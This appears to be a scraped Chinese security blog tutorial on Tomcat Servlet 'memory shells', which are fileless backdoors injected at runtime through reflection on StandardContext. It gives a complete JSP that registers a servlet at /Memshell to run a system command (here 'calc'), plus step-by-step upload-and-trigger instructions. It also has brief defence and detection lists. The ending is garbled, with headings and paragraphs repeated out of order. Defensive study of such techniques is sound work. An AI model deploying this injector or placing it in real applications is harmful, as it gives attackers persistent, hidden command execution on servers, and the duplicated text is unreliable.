Java内存马-Servlet内存马分析与实现<\/h1>

1. Servlet内存马原理<\/h2>
Servlet内存马是一种无文件落地的恶意后门技术，通过动态注入到Java Web应用的运行时环境中实现持久化控制。其核心原理是利用Tomcat容器的StandardContext机制动态注册恶意Servlet。<\/p>

1.1 Servlet注册流程分析<\/h3>

标准Servlet注册流程包含以下关键步骤：<\/p>

创建Wrapper对象封装Servlet<\/li>
将Wrapper添加到StandardContext的子容器中<\/li>

添加Servlet映射路径<\/li> <\/ol>

内存马正是模拟了这一标准注册流程，但通过反射机制动态完成，不依赖web.xml配置文件。<\/p>

2. 关键技术实现<\/h2>

2.1 获取StandardContext<\/h3>

StandardContext是内存马实现的核心，获取流程如下：<\/p>

\/\/ 获取ServletContext对象
<\/span><\/span><\/span><\/span>ServletContext servletContext =<\/span> request.<\/span>getServletContext<\/span>();<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 通过反射获取ApplicationContext
<\/span><\/span><\/span><\/span>Field applicationContexField =<\/span> servletContext.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"context"<\/span>);<\/span>
<\/span><\/span>applicationContexField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>ApplicationContext applicationContext =<\/span> (<\/span>ApplicationContext)<\/span> applicationContexField.<\/span>get<\/span>(<\/span>servletContext);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 通过反射获取StandardContext
<\/span><\/span><\/span><\/span>Field applicationContextField =<\/span> applicationContext.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"context"<\/span>);<\/span>
<\/span><\/span>applicationContextField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>StandardContext standardContext =<\/span> (<\/span>StandardContext)<\/span> applicationContextField.<\/span>get<\/span>(<\/span>applicationContext);<\/span>
<\/span><\/span><\/code><\/pre>2.2 恶意Servlet实现<\/h3>
典型的恶意Servlet实现示例：<\/p>
public<\/span> class<\/span> MemServlet<\/span> extends<\/span> HttpServlet {<\/span>
<\/span><\/span>    private<\/span> String message;<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> void<\/span> init<\/span>()<\/span> {<\/span>
<\/span><\/span>        message =<\/span> "Hello World!"<\/span>;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> void<\/span> doGet<\/span>(<\/span>HttpServletRequest request,<\/span> HttpServletResponse response)<\/span> throws<\/span> IOException {<\/span>
<\/span><\/span>        Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc"<\/span>);<\/span> \/\/ 执行系统命令
<\/span><\/span><\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> void<\/span> destroy<\/span>()<\/span> {<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>2.3 动态注册Servlet<\/h3>
\/\/ 创建Wrapper封装恶意Servlet
<\/span><\/span><\/span><\/span>Wrapper wrapper =<\/span> standardContext.<\/span>createWrapper<\/span>();<\/span>
<\/span><\/span>wrapper.<\/span>setServlet<\/span>(<\/span>new<\/span> MemServlet());<\/span>
<\/span><\/span>wrapper.<\/span>setName<\/span>(<\/span>"MemServlet"<\/span>);<\/span>
<\/span><\/span>wrapper.<\/span>setServletClass<\/span>(<\/span>MemServlet.<\/span>class<\/span>.<\/span>getName<\/span>());<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 添加到StandardContext
<\/span><\/span><\/span><\/span>standardContext.<\/span>addChild<\/span>(<\/span>wrapper);<\/span>
<\/span><\/span>standardContext.<\/span>addServletMappingDecoded<\/span>(<\/span>"\/Memshell"<\/span>,<\/span>"MemServlet"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>3. 完整内存马实现<\/h2>
以下是完整的JSP实现代码：<\/p>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text\/html;charset=UTF-8" language="java" %>

<%!
public class MemServlet extends HttpServlet {
    private String message;
    
    public void init() {
        message = "Hello World!";
    }
    
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    public void destroy() {
    }
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContexField = servletContext.getClass().getDeclaredField("context");
applicationContexField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContexField.get(servletContext);

Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);

Wrapper wrapper = standardContext.createWrapper();
wrapper.setServlet(new MemServlet());
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("\/Memshell","MemServlet");
%>
<\/code><\/pre>
4. 内存马使用流程<\/h2>

将上述JSP代码上传到服务器（如addServlet.jsp）<\/li>
访问addServlet.jsp，触发恶意Servlet注册<\/li>
访问\/Memshell路径触发恶意代码执行<\/li>
<\/ol>
5. 防御措施<\/h2>
针对Servlet内存马的防御策略：<\/p>

运行时监控<\/strong>：监控StandardContext的动态修改<\/li>
反射调用检测<\/strong>：检测关键类的反射调用行为<\/li>
Servlet白名单<\/strong>：建立合法的Servlet注册清单<\/li>
行为分析<\/strong>：检测异常的Runtime.exec等危险操作<\/li>
内存扫描<\/strong>：定期扫描JVM内存中的可疑Servlet<\/li>
<\/ol>
6. 检测方法<\/h2>
检测Servlet内存马的关键点：<\/p>

检查StandardContext中的Wrapper列表<\/li>
分析Servlet映射路径，查找异常注册<\/li>
检查Servlet类是否来自已知的合法来源<\/li>
监控Servlet的init和service方法实现<\/li>
<\/ol>
通过以上技术分析和实现细节，可以全面理解Servlet内存马的工作原理和实现方式，同时为防御提供技术参考。<\/p>

Java内存马-Servlet内存马分析与实现<\/h1>

1. Servlet内存马原理<\/h2> Servlet内存马是一种无文件落地的恶意后门技术，通过动态注入到Java Web应用的运行时环境中实现持久化控制。其核心原理是利用Tomcat容器的StandardContext机制动态注册恶意Servlet。<\/p>

2. 关键技术实现<\/h2>

1. Servlet内存马原理<\/h2>
Servlet内存马是一种无文件落地的恶意后门技术，通过动态注入到Java Web应用的运行时环境中实现持久化控制。其核心原理是利用Tomcat容器的StandardContext机制动态注册恶意Servlet。<\/p>